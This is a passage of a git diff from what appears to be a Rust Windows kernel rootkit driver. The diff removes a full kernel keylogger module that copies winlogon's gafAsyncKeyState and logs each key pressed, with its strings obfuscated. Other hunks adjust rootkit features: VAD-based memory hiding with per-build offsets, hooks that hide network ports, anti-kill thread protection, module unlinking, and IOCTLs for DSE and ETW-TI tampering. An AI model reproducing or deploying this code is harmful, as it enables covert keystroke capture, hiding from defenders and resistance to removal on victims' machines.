(0xBC, "OEM ,"), - (0xBD, "OEM -"), - (0xBE, "OEM ."), - (0xBF, "OEM 2"), - (0xC0, "OEM 3"), - (0xDB, "OEM 4"), - (0xDC, "OEM 5"), - (0xDD, "OEM 6"), - (0xDE, "OEM 7"), - (0xDF, "OEM 8"), - (0xE2, "OEM 102"), - (0xE5, "IME PROCESS"), - (0xE7, "PACKET"), - (0xF6, "ATTN"), - (0xF7, "CRSEL"), - (0xF8, "EXSEL"), - (0xF9, "EREOF"), - (0xFA, "PLAY"), - (0xFB, "ZOOM"), - (0x30, "0"), - (0x31, "1"), - (0x32, "2"), - (0x33, "3"), - (0x34, "4"), - (0x35, "5"), - (0x36, "6"), - (0x37, "7"), - (0x38, "8"), - (0x39, "9"), - (0x41, "A"), - (0x42, "B"), - (0x43, "C"), - (0x44, "D"), - (0x45, "E"), - (0x46, "F"), - (0x47, "G"), - (0x48, "H"), - (0x49, "I"), - (0x4A, "J"), - (0x4B, "K"), - (0x4C, "L"), - (0x4D, "M"), - (0x4E, "N"), - (0x4F, "O"), - (0x50, "P"), - (0x51, "Q"), - (0x52, "R"), - (0x53, "S"), - (0x54, "T"), - (0x55, "U"), - (0x56, "V"), - (0x57, "W"), - (0x58, "X"), - (0x59, "Y"), - (0x5A, "Z"), -]; \ No newline at end of file diff --git a/driver/src/misc/keylogger/mod.rs b/driver/src/misc/keylogger/mod.rs deleted file mode 100644 index 47b2839..0000000 --- a/driver/src/misc/keylogger/mod.rs +++ /dev/null @@ -1,217 +0,0 @@ -use { - obfstr::obfstr, - keys::VK_CHARS, - shared::structs::Keylogger, - core::{ffi::c_void, mem::size_of}, - crate::{ - get_ks_byte, - get_ks_down_bit, - is_key_down, - set_key_down, - process::Process, - internals::externs::MmCopyVirtualMemory, - utils::{ - address::{get_address_asynckey, get_module_base_address}, - get_process_by_name, - patterns::scan_for_pattern, - process_attach::ProcessAttach, - }, - }, - wdk_sys::{ - ntddk::{ - IoGetCurrentProcess, - KeDelayExecutionThread, - PsTerminateSystemThread, - }, - LARGE_INTEGER, - NTSTATUS, - STATUS_SUCCESS, - _MODE::KernelMode, - }, -}; - -pub mod macros; -pub mod keys; - -/// Global variable to store the keylogger's status. -pub static mut STATUS: bool = false; - -/// Global variable to control the shutdown of the keylogger. -pub static mut SHUTDOWN: bool = false; - -/// Process Winlogon. -static mut WINLOGON_EPROCESS: Option = None; - -/// PID of the process. -static mut PID: Option = None; - -/// Key states. -static mut KEY_STATE: [u8; 64] = [0; 64]; -static mut KEY_PREVIOUS: [u8; 64] = [0; 64]; -static mut KEY_RECENT: [u8; 64] = [0; 64]; - -/// Converts a virtual key code to a character. -/// -/// # Parameters -/// -/// - `key`: The code for the virtual key. -/// -/// # Returns -/// -/// - `&'static str`: A string representing the character corresponding to the code of the virtual key. -/// -fn vk_to_char(key: u8) -> &'static str { - for &(vk, char) in &VK_CHARS { - if vk == key { - return char; - } - } - "UNKNOWN" -} - -/// Updates the status of the keys. -/// -/// # Parameters -/// -/// - `address`: Array address `gafAsyncKeyState`. -/// -unsafe fn update_key_state(address: *mut u8) { - core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64); - - if !initialize_winlogon_process() { - return; - } - - if let Some(winlogon_eprocess) = WINLOGON_EPROCESS.as_ref() { - let mut return_number = 0; - MmCopyVirtualMemory( - winlogon_eprocess.e_process, - address as _, - IoGetCurrentProcess(), - KEY_STATE.as_ptr() as *mut c_void, - size_of::<[u8; 64]>() as u64, - KernelMode as i8, - &mut return_number, - ); - - for i in 0..256 { - if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) { - set_key_down!(KEY_RECENT, i, true); - } - } - } else { - log::error!("[!] Error updating key status") - } - - -} - -/// Starts the Winlogon process. -/// -/// # Returns -/// -/// - `bool`: if the Winlogon process was successfully initialized, otherwise `false`. -/// -unsafe fn initialize_winlogon_process() -> bool { - if WINLOGON_EPROCESS.is_some() && PID.is_some() { - return true; - } - - PID = get_process_by_name(obfstr!("winlogon.exe")); - if let Some(pid) = PID { - WINLOGON_EPROCESS = Process::new(pid); - WINLOGON_EPROCESS.is_some() - } else { - false - } -} - -/// Checks if a key has been pressed. -/// -/// # Parameters -/// -/// - `key`: The key code. -/// -/// # Returns -/// -/// - `bool`: if the key was pressed, otherwise `false`. -/// -unsafe fn key_pressed(key: u8) -> bool { - let result = is_key_down!(KEY_RECENT, key); - set_key_down!(KEY_RECENT, key, false); - result -} - -/// The keylogger's main function. -/// -/// # Parameters -/// -/// - `_address`: Function address (Is not used). -/// -pub unsafe extern "C" fn keylogger(_address: *mut c_void) { - let function_address = match get_gafasynckeystate_address() { - Some(addr) => addr, - None => return, - }; - - while !SHUTDOWN { - if STATUS { - // Read the contents of gafAsyncKeyStateAddr and send to KEY_STATE - update_key_state(function_address); - - for i in 0..256 { - if key_pressed(i as u8) { - log::info!("{} pressed", vk_to_char(i as u8)); - } - } - } - - let mut interval = LARGE_INTEGER { - QuadPart: -1 * -(50 * 10000_i64), - }; - - KeDelayExecutionThread(KernelMode as i8, 0, &mut interval); - } - - PsTerminateSystemThread(STATUS_SUCCESS); - -} - -/// Get the address of the `gafAsyncKeyState` array. -/// -/// # Returns -/// -/// `Option`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. -/// -unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> { - if !initialize_winlogon_process() { - return None - } - - let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?; - - let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; - let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?; - - let attach_process = ProcessAttach::new(winlogon_eprocess.e_process); - - // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] - // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax - let pattern = [0x48, 0x8B, 0x05]; - - scan_for_pattern(function_address, &pattern, 3, 7, 0x200, u32::from_le_bytes) -} - -/// Sets the keylogger status. -/// -/// # Parameters -/// - `info`: Pointer to the `Keylogger` structure. -/// -/// # Returns -/// `NTSTATUS`: Returns STATUS_SUCCESS. -/// -pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS { - STATUS = (*info).enable; - - STATUS_SUCCESS -} diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs index ce7774d..fd4eb61 100644 --- a/driver/src/module/mod.rs +++ b/driver/src/module/mod.rs @@ -3,17 +3,20 @@ use { ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, shared::structs::{ModuleInfo, TargetModule, TargetProcess}, wdk_sys::{ - ntddk::IoGetCurrentProcess, + ntddk::IoGetCurrentProcess, _MODE::KernelMode, FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE, - STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, - _MODE::KernelMode + STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, }, crate::{ internals::{ structs::MMVAD_SHORT, vad::MMVAD, externs::{MmCopyVirtualMemory, PsGetProcessPeb} }, - process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach} + process::Process, + utils::{ + pool::PoolMemory, process_attach::ProcessAttach, + offsets::get_vad_root, + } }, }; @@ -162,7 +165,9 @@ impl Module { return Err(STATUS_UNSUCCESSFUL); } - let dll_name = alloc::string::String::from_utf16_lossy(buffer); + let dll_name = alloc::string::String::from_utf16_lossy(buffer); + log::info!("==> {}", module_name.contains(&dll_name.to_lowercase())); + log::info!("==> {}", module_name); if module_name.contains(&dll_name.to_lowercase()) { // Removes the module from the load order list Self::remove_link(&mut (*list_entry).InLoadOrderLinks); @@ -198,8 +203,9 @@ impl Module { /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status. /// pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> { - let vad_root = 0x7d8; - let vad_table = target_eprocess.e_process.cast::().offset(vad_root) as *mut RTL_BALANCED_NODE; + let vad_root = get_vad_root(); + log::info!("{:x}", vad_root); + let vad_table = target_eprocess.e_process.cast::().offset(vad_root as isize) as *mut RTL_BALANCED_NODE; let current_node = vad_table; // Uses a stack to iteratively traverse the tree diff --git a/driver/src/port/ioctls.rs b/driver/src/port/ioctls.rs index 18868c1..0e52f5f 100644 --- a/driver/src/port/ioctls.rs +++ b/driver/src/port/ioctls.rs @@ -1,10 +1,11 @@ use { alloc::boxed::Box, - hashbrown::HashMap, - wdk_sys::{IO_STACK_LOCATION, IRP}, - super::port::add_remove_port_toggle, - crate::{utils::ioctls::IoctlHandler, handle}, - shared::{ioctls::IOCTL_PORT, structs::PortInfo}, + hashbrown::HashMap, + core::sync::atomic::Ordering, + wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS}, + shared::{ioctls::IOCTL_PORT, structs::PortInfo}, + crate::{handle, utils::ioctls::IoctlHandler, Port}, + super::{port::{add_remove_port_toggle, PROTECTED_PORTS}, HOOK_INSTALLED}, }; /// Registers the IOCTL handlers for port-related operations. @@ -20,7 +21,22 @@ use { pub fn get_port_ioctls(ioctls: &mut HashMap) { // Responsible for hide/unhide Port. ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + let protected_ports = PROTECTED_PORTS.lock(); + + if protected_ports.is_empty() && !HOOK_INSTALLED.load(Ordering::Relaxed) { + unsafe { Port::install_hook() }; + } + + drop(protected_ports); + let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) }; + if NT_SUCCESS(status) { + let protected_ports = PROTECTED_PORTS.lock(); + if protected_ports.is_empty() && HOOK_INSTALLED.load(Ordering::Relaxed) { + unsafe { Port::uninstall_hook() }; + } + } + unsafe { (*irp).IoStatus.Information = 0 }; status diff --git a/driver/src/port/port.rs b/driver/src/port/port.rs index 1a64fdf..e2bc7d0 100644 --- a/driver/src/port/port.rs +++ b/driver/src/port/port.rs @@ -41,7 +41,7 @@ fn add_target_port(port: *mut PortInfo) -> NTSTATUS { let mut ports = PROTECTED_PORTS.lock(); let port = unsafe { *port }; - if ports.len() >= 100 { + if ports.len() >= MAX_PORT { log::error!("Port list is full"); return STATUS_UNSUCCESSFUL; } @@ -70,7 +70,11 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS { let mut ports = PROTECTED_PORTS.lock(); (unsafe { *port }).enable = true; - if let Some(index) = ports.iter().position(|&p| p == unsafe { *port }) { + if let Some(index) = ports.iter().position(|&p| { + p.protocol == (unsafe { *port }).protocol + && p.port_type == (unsafe { *port }).port_type + && p.port_number == (unsafe { *port }).port_number + }) { ports.remove(index); STATUS_SUCCESS } else { @@ -79,11 +83,19 @@ fn remove_target_port(port: *mut PortInfo) -> NTSTATUS { } } +/// Checks if a port is in the list of protected ports. +/// +/// This function locks access to the `PROTECTED_PORTS` list and verifies +/// if the given `port` is contained within it. +/// +/// # Arguments +/// +/// * `port` - A `PortInfo` struct that represents the port to be checked. +/// +/// # Returns +/// +/// - `bool`: `true` if the `port` is in the protected list, otherwise returns `false`. /// -/// -/// -/// -/// pub fn check_port(port: PortInfo) -> bool { PROTECTED_PORTS.lock().contains(&port) } \ No newline at end of file diff --git a/driver/src/registry/mod.rs b/driver/src/registry/mod.rs index d897be9..9f153f4 100644 --- a/driver/src/registry/mod.rs +++ b/driver/src/registry/mod.rs @@ -238,6 +238,7 @@ impl Registry { /// # Returns /// /// - `bool`: Returns true if the key is in the list, or false otherwise. + /// pub fn check_key(key: String, list: MutexGuard>) -> bool { Vec::contains_item(&list, &key) } diff --git a/driver/src/thread/callback.rs b/driver/src/thread/callback.rs index afe7012..8173585 100644 --- a/driver/src/thread/callback.rs +++ b/driver/src/thread/callback.rs @@ -130,7 +130,6 @@ pub unsafe extern "C" fn on_pre_open_thread( let tids = TARGET_TIDS.lock(); if tids.contains(&tid) { - log::info!("Anti-Kill actived with TID => {}", tid); let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT); (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; } diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index 7f1bac4..5935a7c 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -32,11 +32,11 @@ use { slice::from_raw_parts }, crate::{ + process::Process, internals::{ structs::SystemModuleInformation, externs::PsGetProcessPeb }, - process::Process }, }; @@ -488,4 +488,21 @@ where } result // Returns the result of the operation +} + +/// +/// +/// +/// +/// +pub fn get_windows_build_number() -> u32 { + unsafe { + let mut os_info: OSVERSIONINFOW = core::mem::zeroed(); + os_info.dwOSVersionInfoSize = core::mem::size_of::() as u32; + + if RtlGetVersion(&mut os_info) != 0 { + return os_info.dwBuildNumber; + } + } + 0 } \ No newline at end of file diff --git a/driver/src/utils/offsets.rs b/driver/src/utils/offsets.rs index 6c2f846..df6332a 100644 --- a/driver/src/utils/offsets.rs +++ b/driver/src/utils/offsets.rs @@ -1,6 +1,31 @@ use crate::utils::uni; use wdk_sys::ntddk::MmGetSystemRoutineAddress; +pub static mut BUILD_NUMBER: u32 = 0; +const WIN_1507: u32 = 10240; +const WIN_1511: u32 = 10586; +const WIN_1607: u32 = 14393; +const WIN_1703: u32 = 15063; +const WIN_1709: u32 = 16299; +const WIN_1803: u32 = 17134; +const WIN_1809: u32 = 17763; +const WIN_1903: u32 = 18362; +const WIN_1909: u32 = 18363; +#[allow(dead_code)] +const WIN_2004: u32 = 19041; +#[allow(dead_code)] +const WIN_20H2: u32 = 19042; +#[allow(dead_code)] +const WIN_21H1: u32 = 19043; +#[allow(dead_code)] +const WIN_21H2: u32 = 19044; +#[allow(dead_code)] +const WIN_22H2: u32 = 19045; +#[allow(dead_code)] +const WIN_1121H2: u32 = 22000; +#[allow(dead_code)] +const WIN_1122H2: u32 = 22621; + /// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure. /// /// # Returns @@ -15,9 +40,7 @@ pub unsafe fn get_offset_signature() -> isize { .try_into() .map(u16::from_le_bytes) .expect("Slice length is not 2, cannot convert"); - - log::info!("EPROCESS.SignatureLevel: {:#x}", offset); - + offset as isize } @@ -27,6 +50,7 @@ pub unsafe fn get_offset_signature() -> isize { /// /// - `isize`: Returns the offset of the dynamically retrieved structure. /// +/// pub unsafe fn get_offset_unique_process_id() -> isize { let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode(); let address = MmGetSystemRoutineAddress(&mut function_name); @@ -36,8 +60,6 @@ pub unsafe fn get_offset_unique_process_id() -> isize { .map(u16::from_le_bytes) .expect("Slice length is not 2, cannot convert"); - log::info!("EPROCESS.UniqueProcessId: {:#x}", offset); - offset as isize } @@ -56,8 +78,6 @@ pub unsafe fn get_offset_token() -> isize { .map(u16::from_le_bytes) .expect("Slice length is not 2, cannot convert"); - log::info!("EPROCESS.Token: {:#x}", offset); - offset as isize } @@ -76,7 +96,23 @@ pub unsafe fn get_rundown_protect() -> isize { .map(u16::from_le_bytes) .expect("Slice length is not 2, cannot convert"); - log::info!("ETHREAD.RundownProtect: {:#x}", offset); - offset as isize } + +/// Returns the virtual address descriptor (VAD) root offset based on the Windows build number. +/// +/// # Returns +/// +/// - `u32`: value representing the offset for the VAD root depending on the Windows build number. +/// +#[inline] +pub unsafe fn get_vad_root() -> u32 { + match BUILD_NUMBER { + WIN_1507 => 0x608, + WIN_1511 => 0x610, + WIN_1607 => 0x620, + WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, + WIN_1903 | WIN_1909 => 0x658, + _ => 0x7d8, + } +} diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index 5ccfe29..74a85ee 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -1,5 +1,6 @@ const FILE_DEVICE_UNKNOWN: u32 = 34; const METHOD_NEITHER: u32 = 3; +const METHOD_BUFFERED: u32 = 0; const FILE_ANY_ACCESS: u32 = 0; macro_rules! CTL_CODE { @@ -29,7 +30,7 @@ pub const IOCTL_ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, ME pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS); // Keylogger -pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS); // ETWTI pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); diff --git a/shared/src/structs/mod.rs b/shared/src/structs/mod.rs index 6daa0c7..6c7f4dd 100644 --- a/shared/src/structs/mod.rs +++ b/shared/src/structs/mod.rs @@ -33,17 +33,6 @@ pub struct LIST_ENTRY { pub Blink: *mut LIST_ENTRY, } -/// Represents the state of the keylogger system. -/// -/// This struct is used to manage whether the keylogger functionality is enabled -/// or disabled. The `enable` field indicates if the keylogger is active. -#[repr(C)] -#[derive(Debug)] -pub struct Keylogger { - /// A boolean value indicating if the keylogger is enabled (`true`) or disabled (`false`). - pub enable: bool, -} - /// Represents the state of ETWTI (Event Tracing for Windows Thread Information). /// /// This struct manages whether ETWTI is enabled or disabled for capturing thread @@ -85,9 +74,7 @@ pub struct TargetInjection { /// Represents information about a network or communication port. /// /// This struct holds information about a specific port, including the protocol used, -/// the type of port, its number, and whether the port is enabled or disabled. -/// It is marked as `#[repr(C)]` for compatibility with C-style layouts, making it suitable for -/// FFI (Foreign Function Interface) and low-level systems programming. +/// the type of port, its number, and whether the port is enabled or disabled. #[repr(C)] #[derive(Debug, Clone, Copy, PartialEq)] pub struct PortInfo { @@ -95,7 +82,7 @@ pub struct PortInfo { /// This field is represented by the `Protocol` enum. pub protocol: Protocol, - /// The type of port (e.g., open, filtered). + /// The type of port (e.g., local, remote). /// This field is represented by the `PortType` enum. pub port_type: PortType,